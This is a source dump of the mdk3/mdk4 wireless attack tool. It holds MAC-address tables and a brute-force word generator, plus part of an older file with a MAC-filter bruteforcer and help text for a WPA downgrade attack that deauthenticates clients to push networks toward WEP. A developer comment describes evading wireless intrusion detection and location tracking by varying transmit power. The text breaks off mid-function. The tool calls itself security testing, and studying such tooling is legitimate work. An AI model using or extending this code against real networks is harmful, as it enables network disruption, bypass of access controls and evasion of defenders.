"000A8A000000/FFFFFF000000", "000A8A000000/FFFFFF000000", "000A8A8A0000/FFFFFFFF0000", "000B5F5F0000/FFFFFFFF0000", "0020A6A60000/FFFFFFFF0000", "0020D6D60000/FFFFFFFF0000", "003065000000/FFFFFF000000", "003065000000/FFFFFF000000", "003065650000/FFFFFFFF0000", "0030AB000000/FFFFFF000000", "0030ABAB0000/FFFFFFFF0000", "0030ABAB0000/FFFFFFFF0000", "0030ABAB0000/FFFFFFFF0000", "0030ABAB0000/FFFFFFFF0000", "0030ABAB0000/FFFFFFFF0000", "0030ABAB0000/FFFFFFFF0000", "0030ABAB0000/FFFFFFFF0000", "0030BD000000/FFFFFF000000", "0030BD000000/FFFFFF000000", "0030BDBD0000/FFFFFFFF0000", "0030BDBD0000/FFFFFFFF0000", "0030BDBD0000/FFFFFFFF0000", "0030BDBD0000/FFFFFFFF0000", "0030BDBD0000/FFFFFFFF0000", "0030BDBD0000/FFFFFFFF0000", "004005050000/FFFFFFFF0000", "004005050000/FFFFFFFF0000", "004005050000/FFFFFFFF0000", "004005050000/FFFFFFFF0000", "004005050000/FFFFFFFF0000", "004005050000/FFFFFFFF0000", "004026000000/FFFFFF000000", "004096000000/FFFFFF000000", "004096000000/FFFFFF000000", "004096960000/FFFFFFFF0000", "004096960000/FFFFFFFF0000", "004096960000/FFFFFFFF0000", "004096960000/FFFFFFFF0000", "004096960000/FFFFFFFF0000", "004096960000/FFFFFFFF0000", "004096960000/FFFFFFFF0000", "004096960000/FFFFFFFF0000", "004096960000/FFFFFFFF0000", "004096960000/FFFFFFFF0000", "004096960000/FFFFFFFF0000", "005008000000/FFFFFF000000", "005008080000/FFFFFFFF0000", "005008080000/FFFFFFFF0000", "00508B8B0000/FFFFFFFF0000", "00508B8B0000/FFFFFFFF0000", "0050DA000000/FFFFFF000000", "0050DA000000/FFFFFF000000", "0050DADA0000/FFFFFFFF0000", "0050F2F20000/FFFFFFFF0000", "0050F2F20000/FFFFFFFF0000", "006001000000/FFFFFF000000", "006001010000/FFFFFFFF0000", "00601D000000/FFFFFF000000", "00601D000000/FFFFFF000000", "00601D1D0000/FFFFFFFF0000", "00601D1D0000/FFFFFFFF0000", "00601D1D0000/FFFFFFFF0000", "00601D1D0000/FFFFFFFF0000", "00601D1D0000/FFFFFFFF0000", "00601D1D0000/FFFFFFFF0000", "00601D1D0000/FFFFFFFF0000", "00606D000000/FFFFFF000000", "00606D6D0000/FFFFFFFF0000", "00606D6D0000/FFFFFFFF0000", "00606D6D0000/FFFFFFFF0000", "0060B3000000/FFFFFF000000", "0060B3B30000/FFFFFFFF0000", "0060B3B30000/FFFFFFFF0000", "0060B3B30000/FFFFFFFF0000", "0060B3B30000/FFFFFFFF0000", "0060B3B30000/FFFFFFFF0000", "008037370000/FFFFFFFF0000", "0080C6000000/FFFFFF000000", "00904B4B0000/FFFFFFFF0000", "009096960000/FFFFFFFF0000", "0090D1000000/FFFFFF000000", "0090D1000000/FFFFFF000000", "0090D1D10000/FFFFFFFF0000", "0090D1D10000/FFFFFFFF0000", "0090D1D10000/FFFFFFFF0000", "00A004000000/FFFFFF000000", "00A065650000/FFFFFFFF0000", "00A0F8000000/FFFFFF000000", "00A0F8F80000/FFFFFFFF0000", "00A0F8F80000/FFFFFFFF0000", "00C049490000/FFFFFFFF0000", "00E029000000/FFFFFF000000", "00E029290000/FFFFFFFF0000", "00E029290000/FFFFFFFF0000", "00E029290000/FFFFFFFF0000", "080046000000/FFFFFF000000", "080046460000/FFFFFFFF0000", "00000C000000/FFFFFF000000", "000074000000/FFFFFF000000", "000092000000/FFFFFF000000", "0000AA000000/FFFFFF000000", "0000C5000000/FFFFFF000000", "0000CE000000/FFFFFF000000", "0000DE000000/FFFFFF000000", "000103000000/FFFFFF000000", "000124000000/FFFFFF000000", "000138000000/FFFFFF000000", "000195000000/FFFFFF000000", "0001E6000000/FFFFFF000000", "0001F4000000/FFFFFF000000", "00022D000000/FFFFFF000000", "000244000000/FFFFFF000000", "00026F000000/FFFFFF000000", "000272000000/FFFFFF000000", "00028A000000/FFFFFF000000", "0002A5000000/FFFFFF000000", "0002B3000000/FFFFFF000000", "00030A000000/FFFFFF000000", "00032F000000/FFFFFF000000", "000352000000/FFFFFF000000", "000393000000/FFFFFF000000", "000423000000/FFFFFF000000", "00045A000000/FFFFFF000000", "000475000000/FFFFFF000000", "000476000000/FFFFFF000000", "0004DB000000/FFFFFF000000", "0004E2000000/FFFFFF000000", "0004E2000000/FFFFFF000000", "00053C000000/FFFFFF000000", "00054E000000/FFFFFF000000", "00055D000000/FFFFFF000000", "000587000000/FFFFFF000000", "000625000000/FFFFFF000000", "000625000000/FFFFFF000000", "000625000000/FFFFFF000000", "0006B1000000/FFFFFF000000", "00070E000000/FFFFFF000000", "000713000000/FFFFFF000000", "000740000000/FFFFFF000000", "000750000000/FFFFFF000000", "000785000000/FFFFFF000000", "0007EB000000/FFFFFF000000", "000821000000/FFFFFF000000", "0008A1000000/FFFFFF000000", "000943000000/FFFFFF000000", "00095B000000/FFFFFF000000", "00095B000000/FFFFFF000000", "00095B000000/FFFFFF000000", "00095B000000/FFFFFF000000", "00097C000000/FFFFFF000000", "0009B7000000/FFFFFF000000", "0009E8000000/FFFFFF000000", "000A04000000/FFFFFF000000", "000A41000000/FFFFFF000000", "000A8A000000/FFFFFF000000", "000A95000000/FFFFFF000000", "000AB7000000/FFFFFF000000", "000AE9000000/FFFFFF000000", "000B5F000000/FFFFFF000000", "000B6B000000/FFFFFF000000", "000B6C000000/FFFFFF000000", "000B7D000000/FFFFFF000000", "000B85000000/FFFFFF000000", "000B86000000/FFFFFF000000", "000BAC000000/FFFFFF000000", "000BBE000000/FFFFFF000000", "000BCD000000/FFFFFF000000", "000BFD000000/FFFFFF000000", "000C30000000/FFFFFF000000", "000C41000000/FFFFFF000000", "000C85000000/FFFFFF000000", "000CCE000000/FFFFFF000000", "000CE5000000/FFFFFF000000", "000CF1000000/FFFFFF000000", "000D0B000000/FFFFFF000000", "000D14000000/FFFFFF000000", "000D28000000/FFFFFF000000", "000D29000000/FFFFFF000000", "000D3A000000/FFFFFF000000", "000D54000000/FFFFFF000000", "000D65000000/FFFFFF000000", "000D72000000/FFFFFF000000", "000D88000000/FFFFFF000000", "000D93000000/FFFFFF000000", "000D97000000/FFFFFF000000", "000D9D000000/FFFFFF000000", "000DBD000000/FFFFFF000000", "000DED000000/FFFFFF000000", "000E35000000/FFFFFF000000", "000E38000000/FFFFFF000000", "000E3B000000/FFFFFF000000", "000E58000000/FFFFFF000000", "000E6A000000/FFFFFF000000", "000E7F000000/FFFFFF000000", "000E83000000/FFFFFF000000", "000E84000000/FFFFFF000000", "000E9B000000/FFFFFF000000", "000EA6000000/FFFFFF000000", "000ED7000000/FFFFFF000000", "000F23000000/FFFFFF000000", "000F24000000/FFFFFF000000", "000F34000000/FFFFFF000000", "000F3D000000/FFFFFF000000", "000F66000000/FFFFFF000000", "000F8F000000/FFFFFF000000", "000F90000000/FFFFFF000000", "000FB5000000/FFFFFF000000", "000FEA000000/FFFFFF000000", "000FF7000000/FFFFFF000000", "000FF8000000/FFFFFF000000", "0010C6000000/FFFFFF000000", "0010E7000000/FFFFFF000000", "001109000000/FFFFFF000000", "00110A000000/FFFFFF000000", "001120000000/FFFFFF000000", "001121000000/FFFFFF000000", "001124000000/FFFFFF000000", "00112F000000/FFFFFF000000", "001150000000/FFFFFF000000", "00115C000000/FFFFFF000000", "001188000000/FFFFFF000000", "001192000000/FFFFFF000000", "001193000000/FFFFFF000000", "001195000000/FFFFFF000000", "0011BB000000/FFFFFF000000", "0011D8000000/FFFFFF000000", "0011F5000000/FFFFFF000000", "001200000000/FFFFFF000000", "001201000000/FFFFFF000000", "001217000000/FFFFFF000000", "001225000000/FFFFFF000000", "001243000000/FFFFFF000000", "00127F000000/FFFFFF000000", "001280000000/FFFFFF000000", "001288000000/FFFFFF000000", "0012D9000000/FFFFFF000000", "0012DA000000/FFFFFF000000", "0012F0000000/FFFFFF000000", "001310000000/FFFFFF000000", "001319000000/FFFFFF000000", "00131A000000/FFFFFF000000", "001346000000/FFFFFF000000", "001360000000/FFFFFF000000", "00137F000000/FFFFFF000000", "001380000000/FFFFFF000000", "0013C4000000/FFFFFF000000", "002000000000/FFFFFF000000", "0020A6000000/FFFFFF000000", "0020D8000000/FFFFFF000000", "0020E0000000/FFFFFF000000", "00301A000000/FFFFFF000000", "003065000000/FFFFFF000000", "00306E000000/FFFFFF000000", "0030AB000000/FFFFFF000000", "0030BD000000/FFFFFF000000", "0030BD000000/FFFFFF000000", "0030BD000000/FFFFFF000000", "0030F1000000/FFFFFF000000", "004001000000/FFFFFF000000", "004005000000/FFFFFF000000", "004026000000/FFFFFF000000", "004033000000/FFFFFF000000", "004036000000/FFFFFF000000", "004096000000/FFFFFF000000", "005008000000/FFFFFF000000", "005018000000/FFFFFF000000", "0050DA000000/FFFFFF000000", "0050F2000000/FFFFFF000000", "0050FC000000/FFFFFF000000", "006001000000/FFFFFF000000", "00601D000000/FFFFFF000000", "00606D000000/FFFFFF000000", "0060B3000000/FFFFFF000000", "008048000000/FFFFFF000000", "0080C6000000/FFFFFF000000", "0080C8000000/FFFFFF000000", "00900E000000/FFFFFF000000", "00904C000000/FFFFFF000000", "009096000000/FFFFFF000000", "0090D1000000/FFFFFF000000", "00A004000000/FFFFFF000000", "00A0C5000000/FFFFFF000000", "00A0F8000000/FFFFFF000000", "00B064000000/FFFFFF000000", "00C002000000/FFFFFF000000", "00C049000000/FFFFFF000000", "00D059000000/FFFFFF000000", "00E000000000/FFFFFF000000", "00E029000000/FFFFFF000000", "00E063000000/FFFFFF000000", "00E098000000/FFFFFF000000", "00E0B8000000/FFFFFF000000", "080046000000/FFFFFF000000" }; const int accesspoints_count = 227; unsigned char accesspoints[227][25] = { "00000C000000/FFFFFF000000", "000074000000/FFFFFF000000", "000092000000/FFFFFF000000", "0000AA000000/FFFFFF000000", "0000C5000000/FFFFFF000000", "0000CE000000/FFFFFF000000", "0000DE000000/FFFFFF000000", "000103000000/FFFFFF000000", "000124000000/FFFFFF000000", "000124240000/FFFFFFFF0000", "000138000000/FFFFFF000000", "000195000000/FFFFFF000000", "0001E6000000/FFFFFF000000", "0001F4000000/FFFFFF000000", "00022D000000/FFFFFF000000", "000244000000/FFFFFF000000", "00026F000000/FFFFFF000000", "000272000000/FFFFFF000000", "00028A000000/FFFFFF000000", "0002A5000000/FFFFFF000000", "0002B3000000/FFFFFF000000", "00030A000000/FFFFFF000000", "00032F000000/FFFFFF000000", "000352000000/FFFFFF000000", "000393000000/FFFFFF000000", "000423000000/FFFFFF000000", "00043A3A0000/FFFFFFFF0000", "00045A000000/FFFFFF000000", "00045A0E0000/FFFFFFFF0000", "00045A2E0000/FFFFFFFF0000", "00045A5A0000/FFFFFFFF0000", "000475000000/FFFFFF000000", "000475750000/FFFFFFFF0000", "000476000000/FFFFFF000000", "0004DB000000/FFFFFF000000", "0004E2000000/FFFFFF000000", "0004E2000000/FFFFFF000000", "0004E2E20000/FFFFFFFF0000", "00053C000000/FFFFFF000000", "00054E000000/FFFFFF000000", "00055D000000/FFFFFF000000", "00055D5D0000/FFFFFFFF0000", "000587000000/FFFFFF000000", "000625000000/FFFFFF000000", "000625000000/FFFFFF000000", "000625000000/FFFFFF000000", "000625250000/FFFFFFFF0000", "000625250000/FFFFFFFF0000", "0006B1000000/FFFFFF000000", "00070E000000/FFFFFF000000", "000713000000/FFFFFF000000", "000740000000/FFFFFF000000", "000750000000/FFFFFF000000", "000785000000/FFFFFF000000", "0007EB000000/FFFFFF000000", "000821000000/FFFFFF000000", "0008A1000000/FFFFFF000000", "000943000000/FFFFFF000000", "00095B000000/FFFFFF000000", "00095B000000/FFFFFF000000", "00095B000000/FFFFFF000000", "00095B000000/FFFFFF000000", "00097C000000/FFFFFF000000", "000992920000/FFFFFFFF0000", "0009B7000000/FFFFFF000000", "0009E8000000/FFFFFF000000", "000A04000000/FFFFFF000000", "000A41000000/FFFFFF000000", "000A8A000000/FFFFFF000000", "000A8A8A0000/FFFFFFFF0000", "000A95000000/FFFFFF000000", "000AB7000000/FFFFFF000000", "000AE9000000/FFFFFF000000", "000B5F000000/FFFFFF000000", "000B6B000000/FFFFFF000000", "000B6C000000/FFFFFF000000", "000B7D000000/FFFFFF000000", "000B85000000/FFFFFF000000", "000B86000000/FFFFFF000000", "000BAC000000/FFFFFF000000", "000BBE000000/FFFFFF000000", "000BCD000000/FFFFFF000000", "000BFD000000/FFFFFF000000", "000C30000000/FFFFFF000000", "000C41000000/FFFFFF000000", "000C85000000/FFFFFF000000", "000CCE000000/FFFFFF000000", "000CE5000000/FFFFFF000000", "000CF1000000/FFFFFF000000", "000D0B000000/FFFFFF000000", "000D14000000/FFFFFF000000", "000D28000000/FFFFFF000000", "000D29000000/FFFFFF000000", "000D3A000000/FFFFFF000000", "000D54000000/FFFFFF000000", "000D65000000/FFFFFF000000", "000D72000000/FFFFFF000000", "000D88000000/FFFFFF000000", "000D93000000/FFFFFF000000", "000D97000000/FFFFFF000000", "000D9D000000/FFFFFF000000", "000DBD000000/FFFFFF000000", "000DED000000/FFFFFF000000", "000E35000000/FFFFFF000000", "000E38000000/FFFFFF000000", "000E3B000000/FFFFFF000000", "000E58000000/FFFFFF000000", "000E6A000000/FFFFFF000000", "000E7F000000/FFFFFF000000", "000E83000000/FFFFFF000000", "000E84000000/FFFFFF000000", "000E9B000000/FFFFFF000000", "000EA6000000/FFFFFF000000", "000ED7000000/FFFFFF000000", "000F23000000/FFFFFF000000", "000F24000000/FFFFFF000000", "000F34000000/FFFFFF000000", "000F3D000000/FFFFFF000000", "000F66000000/FFFFFF000000", "000F8F000000/FFFFFF000000", "000F90000000/FFFFFF000000", "000FB5000000/FFFFFF000000", "000FEA000000/FFFFFF000000", "000FF7000000/FFFFFF000000", "000FF8000000/FFFFFF000000", "0010C6000000/FFFFFF000000", "0010E7000000/FFFFFF000000", "001109000000/FFFFFF000000", "00110A000000/FFFFFF000000", "001120000000/FFFFFF000000", "001121000000/FFFFFF000000", "001124000000/FFFFFF000000", "00112F000000/FFFFFF000000", "001150000000/FFFFFF000000", "00115C000000/FFFFFF000000", "001188000000/FFFFFF000000", "001192000000/FFFFFF000000", "001193000000/FFFFFF000000", "001195000000/FFFFFF000000", "0011BB000000/FFFFFF000000", "0011D8000000/FFFFFF000000", "0011F5000000/FFFFFF000000", "001200000000/FFFFFF000000", "001201000000/FFFFFF000000", "001217000000/FFFFFF000000", "001225000000/FFFFFF000000", "001243000000/FFFFFF000000", "00127F000000/FFFFFF000000", "001280000000/FFFFFF000000", "001288000000/FFFFFF000000", "0012D9000000/FFFFFF000000", "0012DA000000/FFFFFF000000", "0012F0000000/FFFFFF000000", "001310000000/FFFFFF000000", "001319000000/FFFFFF000000", "00131A000000/FFFFFF000000", "001346000000/FFFFFF000000", "001360000000/FFFFFF000000", "00137F000000/FFFFFF000000", "001380000000/FFFFFF000000", "0013C4000000/FFFFFF000000", "002000000000/FFFFFF000000", "0020A6000000/FFFFFF000000", "0020D8000000/FFFFFF000000", "0020E0000000/FFFFFF000000", "00301A000000/FFFFFF000000", "003065000000/FFFFFF000000", "003065650000/FFFFFFFF0000", "00306E000000/FFFFFF000000", "0030AB000000/FFFFFF000000", "0030ABAB0000/FFFFFFFF0000", "0030BD000000/FFFFFF000000", "0030BD000000/FFFFFF000000", "0030BD000000/FFFFFF000000", "0030BDBD0000/FFFFFFFF0000", "0030F1000000/FFFFFF000000", "004001000000/FFFFFF000000", "004005000000/FFFFFF000000", "004005050000/FFFFFFFF0000", "004005050000/FFFFFFFF0000", "004026000000/FFFFFF000000", "004026260000/FFFFFFFF0000", "004033000000/FFFFFF000000", "004036000000/FFFFFF000000", "004096000000/FFFFFF000000", "004096960000/FFFFFFFF0000", "004096960000/FFFFFFFF0000", "004096960000/FFFFFFFF0000", "005008000000/FFFFFF000000", "005018000000/FFFFFF000000", "00508B8B0000/FFFFFFFF0000", "0050DA000000/FFFFFF000000", "0050DADA0000/FFFFFFFF0000", "0050F2000000/FFFFFF000000", "0050F2F20000/FFFFFFFF0000", "0050FC000000/FFFFFF000000", "006001000000/FFFFFF000000", "00601D000000/FFFFFF000000", "00601D1D0000/FFFFFFFF0000", "00606D000000/FFFFFF000000", "0060B3000000/FFFFFF000000", "008037370000/FFFFFFFF0000", "008048000000/FFFFFF000000", "0080C6000000/FFFFFF000000", "0080C6C60000/FFFFFFFF0000", "0080C8000000/FFFFFF000000", "00900E000000/FFFFFF000000", "00904B4B0000/FFFFFFFF0000", "00904C000000/FFFFFF000000", "009096000000/FFFFFF000000", "0090D1000000/FFFFFF000000", "0090D1D10000/FFFFFFFF0000", "0090D1D10000/FFFFFFFF0000", "00A004000000/FFFFFF000000", "00A004040000/FFFFFFFF0000", "00A0C5000000/FFFFFF000000", "00A0F8000000/FFFFFF000000", "00B064000000/FFFFFF000000", "00C002000000/FFFFFF000000", "00C049000000/FFFFFF000000", "00D059000000/FFFFFF000000", "00E000000000/FFFFFF000000", "00E029000000/FFFFFF000000", "00E063000000/FFFFFF000000", "00E098000000/FFFFFF000000", "00E0B8000000/FFFFFF000000", "080046000000/FFFFFF000000" }; #endifmdk4-master/src/brute.c0000644000175000017500000000557213525065636016062 0ustar samuelophsamueloph#include #include #include #include "brute.h" struct row { char start; char end; }; struct charclass { char ident; unsigned char count; struct row rows[4]; }; #define CLASSES_COUNT 4 struct charclass classes[CLASSES_COUNT] = { { .ident = 'n', .count = 1, .rows = { { .start = '0', .end = '9' } } }, { .ident = 'l', .count = 1, .rows = { { .start = 'a', .end = 'z' } } }, { .ident = 'u', .count = 1, .rows = { { .start = 'A', .end = 'Z' } } }, { .ident = 's', .count = 4, .rows = { { .start = '!', .end = '/' }, { .start = ':', .end = '@' }, { .start = '[', .end = '`' }, { .start = '{', .end = '~' } } } }; struct charclass *get_charclass_for_ident(char ident) { int i; for (i=0; i= classes[i].rows[j].start) && (ch <= classes[i].rows[j].end)) return &(classes[i]); } } return 0; } //Return 1 if current charclass has been exhausted int increment_char(char *here, struct charclass *curcls) { int i; for (i=0; icount; i++) { if (*here == curcls->rows[i].end) { //We're at the end of some row! if (i == curcls->count - 1) { //And it was the last row return 1; } else { *here = curcls->rows[i + 1].start; return 0; } } } (*here)++; return 0; } //if last is NULL a new word with length len will be allocated and returned //Use this word for the next calls to get_brute_word //if last is set, len is ignored and the next valid word is returned (overwrites last, do not free()!) char *get_brute_word(char *cls, char *last, unsigned int len) { unsigned int i; int ii; struct charclass *class[len]; char *nextclass; for(i=0; irows[0].start; last[len] = 0x00; return last; } for (i=0; iident)) { printf("Character %c is not in any of the selected character classes!\n", last[i]); return NULL; } } for (ii=strlen(last)-1; ii>=0; ii--) { if (increment_char(&(last[ii]), class[ii])) { nextclass = strchr(cls, class[ii]->ident) + 1; if (nextclass == (cls + strlen(cls))) { class[ii] = get_charclass_for_ident(cls[0]); last[ii] = class[ii]->rows[0].start; continue; } class[ii] = get_charclass_for_ident(*nextclass); last[ii] = class[ii]->rows[0].start; return last; } return last; } return NULL; } mdk4-master/src/linkedlist.h0000644000175000017500000000427213525065636017104 0ustar samuelophsamueloph#ifndef HAVE_LINKEDLIST_H #define HAVE_LINKEDLIST_H #include #include "mac_addr.h" #define SHUFFLE_DISTANCE 16 //more shuffling => more cpu struct clist { unsigned char *data; int data_len; int status; struct clist *next; }; struct clistwidsap { struct ether_addr bssid; int channel; uint16_t capa; char *ssid; struct clistwidsap *next; }; struct clistwidsclient { struct ether_addr mac; char status; //0=ready 1=authed 2=assoced struct clistwidsclient *next; unsigned char *data; int data_len; int retries; uint16_t seq; struct clistwidsap *bssid; }; struct clistauthdos { struct ether_addr ap; unsigned char status; unsigned int responses; unsigned int missing; struct clistauthdos *next; }; //All these calls are thread-safe via a single pthread_mutex! struct clistauthdos *add_to_clistauthdos(struct clistauthdos *c, struct ether_addr ap, unsigned char status, unsigned int responses, unsigned int missing); struct clistauthdos *search_ap(struct clistauthdos *c, struct ether_addr ap); struct clistauthdos *search_authdos_status(struct clistauthdos *c, int desired_status); struct clist *add_to_clist(struct clist *c, unsigned char *data, int status, int data_len); struct clist *search_status(struct clist *c, int desired_status); struct clist *search_data(struct clist *c, unsigned char *desired_data, int data_len); struct clistwidsap *add_to_clistwidsap(struct clistwidsap *c, struct ether_addr bssid, int channel, uint16_t capa, char *ssid); struct clistwidsap *search_bssid(struct clistwidsap *c, struct ether_addr desired_bssid); struct clistwidsap *search_bssid_on_channel(struct clistwidsap *c, int desired_channel); struct clistwidsap *shuffle_widsaps(struct clistwidsap *c); struct clistwidsclient *add_to_clistwidsclient(struct clistwidsclient *c, struct ether_addr mac, int status, unsigned char *data, int data_len, uint16_t sequence, struct clistwidsap *bssid); struct clistwidsclient *search_status_widsclient(struct clistwidsclient *c, int desired_status, int desired_channel); struct clistwidsclient *search_client(struct clistwidsclient *c, struct ether_addr mac); struct clistwidsclient *shuffle_widsclients(struct clistwidsclient *c); #endif mdk4-master/src/mdk3_old.c0000644000175000017500000004731013525065636016431 0ustar samuelophsamueloph/* * mdk3, a 802.11 wireless network security testing tool * Just like John the ripper or nmap, now part of most distros, * it is important that the defender of a network can test it using * aggressive tools.... before somebody else does. * * This file contains parts from 'aircrack' project by Cristophe Devine. * * Copyright (C) 2006-2010 Pedro Larbig * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; version 2 of the License. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ //Using GNU Extension getline(), not ANSI C #define _GNU_SOURCE #include #include #include #include #include #include #include #include "osdep.h" #include "debug.h" #include "helpers.h" #include "mac_addr.h" #define MAX_APS_TRACKED 100 #define MAX_APS_TESTED 100 # define TIMEVAL_TO_TIMESPEC(tv, ts) { \ (ts)->tv_sec = (tv)->tv_sec; \ (ts)->tv_nsec = (tv)->tv_usec * 1000; \ } unsigned char tmpbuf[MAX_PACKET_LENGTH]; // Temp buffer for packet manipulation in send/read_packet unsigned char pkt[MAX_PACKET_LENGTH]; // Space to save generated packet unsigned char pkt_sniff[MAX_PACKET_LENGTH]; // Space to save sniffed packets unsigned char pkt_check[MAX_PACKET_LENGTH]; // Space to save sniffed packets to check success unsigned char aps_known[MAX_APS_TRACKED][ETHER_ADDR_LEN]; // Array to save MACs of known APs int aps_known_count = 0; // Number of known APs unsigned char auth[MAX_APS_TESTED][ETHER_ADDR_LEN]; // Array to save MACs of APs currently under test int auths[MAX_APS_TESTED][4]; // Array to save status of APs under test unsigned char *pkt_amok = NULL; // Pointer to packet for deauth mode unsigned char *target = NULL; // Target for SSID Bruteforce / Intelligent Auth DoS int exit_now = 0; // Tells main thread to exit int ssid_len = 0; // Length of SSID used in Bruteforce mode int ssid_eof = 0; // Tell other threads, SSID file has reached EOF char brute_mode; // Which ASCII-characters should be used char *brute_ssid; // SSID in Bruteforce mode unsigned int end = 0; // Has Bruteforce mode tried all possibilities? unsigned int turns = 0; // Number of tried SSIDs unsigned int max_permutations = 1; // Number of SSIDs possible int real_brute = 0; // use Bruteforce mode? int init_intelligent = 0; // Is intelligent_auth_dos initialized? int init_intelligent_data = 0; // Is its data list initialized? int we_got_data = 0; // Sniffer thread tells generator thread if there is any data struct ether_addr mac_base; // First three bytes of address given for bruteforcing MAC filter struct ether_addr mac_lower; // Last three bytes of address for Bruteforcing MAC filter int mac_b_init = 0; // Initializer for MAC bruteforcer static pthread_mutex_t has_packet_mutex; // Used for condition below static pthread_cond_t has_packet; // Pthread Condition "Packet ready" int has_packet_really = 0; // Since the above condition has a timeout we want to use, we need another int here static pthread_mutex_t clear_packet_mutex; // Used for condition below static pthread_cond_t clear_packet; // Pthread Condition "Buffer cleared, get next packet" struct timeval tv_dyntimeout; // Dynamic timeout for MAC bruteforcer int mac_brute_speed = 0; // MAC Bruteforcer Speed-o-meter int mac_brute_timeouts = 0; // Timeout counter for MAC Bruteforcer int hopper_seconds = 1; // Default time for channel hopper to stay on one channel int wpad_cycles = 0, wpad_auth = 0; // Counters for WPA downgrade: completed deauth cycles, sniffed 802.1x auth packets int wpad_wep = 0, wpad_beacons = 0; // Counters for WPA downgrade: sniffed WEP/open packets, sniffed beacons/sec "TEST MODES:\n" "f - MAC filter bruteforce mode\n" " This test uses a list of known client MAC Adresses and tries to\n" " authenticate them to the given AP while dynamically changing\n" " its response timeout for best performance. It currently works only\n" " on APs who deny an open authentication request properly\n" "g - WPA Downgrade test\n" " deauthenticates Stations and APs sending WPA encrypted packets.\n" " With this test you can check if the sysadmin will try setting his\n" " network to WEP or disable encryption. More effective in\n" " combination with social engineering.\n"; char use_macb[]="f - MAC filter bruteforce mode\n" " This test uses a list of known client MAC Adresses and tries to\n" " authenticate them to the given AP while dynamically changing\n" " its response timeout for best performance. It currently works only\n" " on APs who deny an open authentication request properly\n" " -t \n" " Target BSSID\n" " -m \n" " Set the MAC address range to use (3 bytes, i.e. 00:12:34)\n" " Without -m, the internal database will be used\n" " -f \n" " Set the MAC address to begin bruteforcing with\n" " (Note: You can't use -f and -m at the same time)\n"; char use_wpad[]="g - WPA Downgrade test\n" " deauthenticates Stations and APs sending WPA encrypted packets.\n" " With this test you can check if the sysadmin will try setting his\n" " network to WEP or disable encryption. mdk3 will let WEP and unencrypted\n" " clients work, so if the sysadmin simply thinks \"WPA is broken\" he\n" " sure isn't the right one for this job.\n" " (this can/should be combined with social engineering)\n" " -t \n" " Target network\n"; /* Sniffing Functions */ //ATTACK MAC filter bruteforce void mac_bruteforce_sniffer() { int plen = 0; int interesting_packet; static unsigned char last_mac[6] = "\x00\x00\x00\x00\x00\x00"; // static unsigned char ack[10] = "\xd4\x00\x00\x00\x00\x00\x00\x00\x00\x00"; while(1) { do { interesting_packet = 1; //Read packet plen = osdep_read_packet(pkt_sniff, MAX_PACKET_LENGTH); //is this an auth response packet? if (pkt_sniff[0] != 0xb0) interesting_packet = 0; //is it from our target if (! is_from_target_ap(target, pkt_sniff)) interesting_packet = 0; //is it a retry? if (! memcmp(last_mac, pkt_sniff+4, 6)) interesting_packet = 0; } while (! interesting_packet); //Buffering MAC to drop retry frames later memcpy(last_mac, pkt_sniff+4, 6); //SPEEDUP: (Doesn't work??) Send ACK frame to prevent AP from blocking the channel with retries /* memcpy(ack+4, target, 6); osdep_send_packet(ack, 10); */ //Set has_packet has_packet_really = 1; //Send condition pthread_cond_signal(&has_packet); //Wait for packet to be cleared pthread_cond_wait (&clear_packet, &clear_packet_mutex); } } /* ZERO_CHAOS says: if you want to make the WIDS vendors hate you also match the sequence numbers of the victims also match the sequence numbers of the victims also match the sequence numbers of the victims also match the sequence numbers of the victims also match the sequence numbers of the victims also match the sequence numbers of the victims also match the sequence numbers of the victims also match the sequence numbers of the victims also match the sequence numbers of the victims Aireplay should be able to choose IV from a pool (when ringbuffer is big enough or unlimited) that hasn't been used in last X packets Ghosting (tx power): by changing tx power of the card while injecting, we can evade location tracking. If you turn the radio's power up and down every few ms, the trackers will have a much harder time finding you (basicly you will hop all over the place depending on sensor position). At least madwifi can do it. Ghosting (speed/modulation): change speed every few ms, not a fantastic evasion technique but it may cause more location tracking oddity. Note that tx power levels can only be set at certain speeds (lower speed means higher tx power allowed). 802.11 allows you to fragment each packet into as many as 16 pieces. It would be nice if we could use fragmentated packets in every aireplay-ng attack. */ struct pckt mac_bruteforcer() { struct pckt rtnpkt; static unsigned char *current_mac; int get_new_mac = 1; static struct timeval tv_start, tv_end, tv_diff, tv_temp, tv_temp2; struct timespec wait; if (! mac_b_init) { pthread_cond_init (&has_packet, NULL); pthread_mutex_init (&has_packet_mutex, NULL); pthread_mutex_unlock (&has_packet_mutex); pthread_cond_init (&clear_packet, NULL); pthread_mutex_init (&clear_packet_mutex, NULL); pthread_mutex_unlock (&clear_packet_mutex); tv_dyntimeout.tv_sec = 0; tv_dyntimeout.tv_usec = 100000; //Dynamic timeout initialized with 100 ms pthread_t sniffer; pthread_create( &sniffer, NULL, (void *) mac_bruteforce_sniffer, (void *) 1); } if (mac_b_init) { //Wait for an answer to the last packet gettimeofday(&tv_temp, NULL); timeradd(&tv_temp, &tv_dyntimeout, &tv_temp2); TIMEVAL_TO_TIMESPEC(&tv_temp2, &wait); pthread_cond_timedwait(&has_packet, &has_packet_mutex, &wait); //has packet after timeout? if (has_packet_really) { // if yes: if this answer is positive, copy the MAC, print it and exit! if (memcmp(target, pkt_sniff+4, 6)) // Filter out own packets & APs responding strangely (authing themselves) if ((pkt_sniff[28] == 0x00) && (pkt_sniff[29] == 0x00)) { unsigned char *p = pkt_sniff; printf("\n\nFound a valid MAC address: %02X:%02X:%02X:%02X:%02X:%02X\nHave a nice day! :)\n", p[4], p[5], p[6], p[7], p[8], p[9]); exit(0); } // if this is an answer to our current mac: get a new mac later if (! memcmp(pkt_sniff+4, current_mac, 6)) { get_new_mac = 1; mac_brute_speed++; // get this MACs check time, calculate new timeout gettimeofday(&tv_end, NULL); tvdiff(&tv_end, &tv_start, &tv_diff); /* #=- The magic timeout formula -=# */ //If timeout is more than 500 ms, it sure is due to weak signal, so drop the calculation if ((tv_diff.tv_sec == 0) && (tv_diff.tv_usec < 500000)) { //If timeout is lower, go down pretty fast (half the difference) if (tv_diff.tv_usec < tv_dyntimeout.tv_usec) { tv_dyntimeout.tv_usec += (((tv_diff.tv_usec * 2) - tv_dyntimeout.tv_usec) / 2); } else { //If timeout is higher, 